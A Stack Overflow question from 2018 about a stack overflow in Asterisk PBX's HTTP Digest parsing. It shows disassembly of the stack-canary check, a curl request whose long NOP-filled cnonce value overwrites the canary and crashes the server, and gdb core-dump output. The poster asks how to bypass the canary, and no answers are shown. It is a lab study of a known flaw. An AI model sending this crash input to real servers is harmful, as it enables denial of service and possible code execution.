Is it still possible to bypass stack canary check?

0

I'm going in deep with an old vulnerability found in Asterisk PBX, just to understand how this stuff works. This is the description of the flaw: "According to the version in its SIP banner, the version of Asterisk running on the remote host is potentially affected by a vulnerability that could allow a remote attacker to crash the server, or possibly inject arbitrary code by sending an arbitrarily long string value for HTTP Digest Authentication."

I installed the vulnerable Asterisk and these are the involved protections:

#/usr/bin/hardening-check $(which asterisk)
 /usr/sbin/asterisk:
  Position Independent Executable: no, normal executable!
  Stack protected: yes
  Fortify Source functions: yes (some protected functions found)
  Read-only relocations: yes
  Immediate binding: no, not found!

I have been attracted by Stack protection and this is a brief description of the analysis. From objdump of the vulnerable function (called ast_parse_digest) the actual stack canary code looks like this:

mov    %gs:0x14,%eax
mov    %eax,-0xc(%ebp)
xor    %eax,%eax
(These are the 3 code lines during the prologue of the function)

What i can observe is that the canary value is written in the stack at ebp-12 (-0xc => -12), i will test this later with gdb. Before function's epilogue occurs the stack canary check is executed, this can be read from the code:

mov    -0xc(%ebp),%ebx
xor    %gs:0x14,%ebx
je     819daa7 <ast_parse_digest+0x12d8>
call   80601a0 <__stack_chk_fail@plt> 
(Therefore if the check fails a call to __stack_chk_fail takes place)

Now it's time to play with gdb and see when the canary is overwritten by our exploit. This exploit simply sends an HTTP request to the vulnerable server:

#curl -v http://127.0.0.1:8088/asterisk/amxml -H "Authorization: Digest username="user",realm="realm",nonce="AAAAAAAA",uri="/asterisk/amxml",algorithm=MD5,response="BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",opaque="CCCCCCCC",qop="auth",nc="DDDDDDDD",cnonce=$var"

where the variable $var (at the end of curl) was set to 516 NOPs to reach the canary:

#var="$(python -c 'print 516*"\x90"')"

Executing the exploit a stack smashing is detected, these are the lines from the backtrace.txt:

Core was generated by `/usr/sbin/asterisk -g'.
Program terminated with signal SIGABRT, Aborted.
#0  0xb77bfcf9 in ?? ()
#0  0xb77bfcf9 in ?? ()
No symbol table info available.
#1  0xb74ee03b in __GI___fortify_fail (msg=<optimized out>,    msg@entry=0xb7555960 "stack smashing detected") at fortify_fail.c:38
    do_abort = 63
#2  0xb74edfca in __stack_chk_fail () at stack_chk_fail.c:28
No locals.
#3  0x0819daa7 in ast_parse_digest (digest=0xfe33e7e "Digest  username=user,realm=realm,nonce=AAAAAAAA,uri=/asterisk/amxml,algorithm=MD5,response=", 'B' <repeats 32 times>, ",opaque=CCCCCCCC,qop=$
    i = 516
    c = 0xfe345cb ""
    key = "cnonce\000e", '\000' <repeats 503 times>
    val = '\220' <repeats 512 times>
    str = 0xfe34310
    __PRETTY_FUNCTION__ = "ast_parse_digest"

After confirming __stack_chk_fail function is called, i inspected the core file generated with gdb. These are the steps followed to show how the stack looks after the smash:

#frame 3
#(gdb) x/x $ebp
# 0xb5a24888:   0xb5a25048 
#(gdb) x/x $ebp-4
# 0xb5a24884:   0xb5a24c30
#(gdb) x/x $ebp-8
# 0xb5a24880:   0x00000000
#(gdb) x/x $ebp-12
# 0xb5a2487c:   0x90909090  
(Note: 516 was the minimum number of NOPs to get to the stack smashing)

This confirm that stack canary was written at ebp-12; also NULL byte was added after the stack canary to improve hardening i suppose.

My question is: in this situation is still possible to bypass the canary check? What is the next step i should take? Any suggestion or link to some helpful document is valued.

buffer
stack-smash
asked on Stack Overflow Dec 29, 2018 by Marco_81 • edited Jan 1, 2019 by Marco_81

0 Answers

Nobody has answered this question yet.


User contributions licensed under CC BY-SA 3.0